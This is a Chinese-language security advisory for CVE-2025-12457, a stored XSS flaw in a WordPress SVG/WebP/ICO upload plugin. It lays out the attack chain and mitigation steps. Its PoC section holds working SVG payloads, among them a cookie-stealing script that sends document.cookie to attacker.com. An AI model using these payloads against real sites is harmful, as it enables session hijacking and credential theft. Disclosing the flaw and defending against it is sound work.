IPBUF安全漏洞报告
English
CVE-2025-12457 CVSS 6.4 中危

CVE-2025-12457 WordPress Enable SVG WebP ICO Upload插件存储型XSS漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-12457
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Enable SVG, WebP, and ICO Upload WordPress插件

相关标签

CVE-2025-12457WordPress插件漏洞存储型XSSSVG上传漏洞跨站脚本攻击Enable SVG WebP ICO UploadWordPress安全Authenticated XSSCVSS 6.4MEDIUM

漏洞概述

CVE-2025-12457是WordPress平台上一款名为"Enable SVG, WebP, and ICO Upload"的插件存在的安全漏洞。该插件用于允许WordPress网站上传SVG、WebP和ICO格式的图片文件。然而,由于插件在处理SVG文件上传时对用户输入的过滤和转义不足,攻击者可以通过上传包含恶意JavaScript代码的SVG文件来实施存储型跨站脚本攻击(Stored XSS)。任何访问该SVG文件的用户都会在浏览器中执行攻击者注入的恶意脚本,可能导致会话劫持、敏感信息窃取或进一步的攻击。该漏洞需要攻击者具有WordPress网站的Author级别或更高权限,CVSS评分为6.4,属于中等严重程度。

技术细节

该漏洞的根本原因在于SVG文件格式允许包含内联JavaScript代码,而插件在上传处理时仅进行基本的文件类型检查,未对SVG内容进行安全过滤和HTML转义。具体来说,插件的class-svg.php文件(约第21行附近)在处理SVG上传时没有对SVG标签内的脚本内容进行清理。当攻击者上传一个包含<script>标签或事件处理器(如onload、onerror等)的SVG文件时,这些恶意代码会被永久存储在服务器上。当其他用户访问或浏览该SVG文件时,浏览器会将其作为HTML文档解析并执行其中的JavaScript代码。由于SVG可以通过XML实体编码绕过某些过滤器,攻击者可以构造各种变形Payload来绕过基础的安全检查。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标WordPress网站是否安装并启用了Enable SVG, WebP, and ICO Upload插件,检查插件版本是否在受影响范围内(≤1.1.2)
STEP 2
2. 获取访问权限
攻击者需要获取WordPress网站的Author级别或更高权限账户,可以通过社会工程学、凭证填充或利用其他漏洞获取账户
STEP 3
3. 制作恶意SVG文件
攻击者构造包含恶意JavaScript代码的SVG文件,使用<script>标签、事件处理器(onload、onerror等)或SVG特定技术绕过安全过滤
STEP 4
4. 上传恶意文件
通过WordPress媒体库上传功能或插件提供的上传接口将恶意SVG文件上传到服务器,文件被存储在wp-content/uploads目录
STEP 5
5. 触发XSS执行
当其他用户(管理员、编辑等)访问或浏览该SVG文件时,浏览器解析SVG并执行其中嵌入的恶意JavaScript代码
STEP 6
6. 实施后续攻击
利用执行环境窃取用户Cookie、会话令牌或其他敏感信息,可能进一步劫持管理员账户或植入后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC: Malicious SVG file with embedded JavaScript --> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <script>alert('XSS via SVG');</script> </svg> <!-- Alternative PoC with event handler --> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <image href="x" onerror="alert(document.domain)"/> </svg> <!-- Stealer PoC - Cookie stealing --> <svg xmlns="http://www.w3.org/2000/svg"> <script> fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)); </script> </svg> <!-- Steps to exploit: 1. Login to WordPress with Author+ privileges 2. Navigate to Media Library -> Add New 3. Upload the malicious SVG file 4. Access the uploaded SVG file URL 5. JavaScript will execute in victim's browser -->

影响范围

Enable SVG, WebP, and ICO Upload插件 ≤ 1.1.2

防御指南

临时缓解措施
立即临时措施:1)禁用或删除Enable SVG, WebP, and ICO Upload插件;2)审查wp-content/uploads目录下的所有SVG文件,删除可疑文件;3)临时禁用网站的SVG上传功能;4)启用WordPress安全插件的实时监控;5)考虑使用服务器端配置阻止SVG文件的JavaScript执行。长期措施:等待官方发布安全更新后立即升级插件,并建立SVG文件上传的安全审查流程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表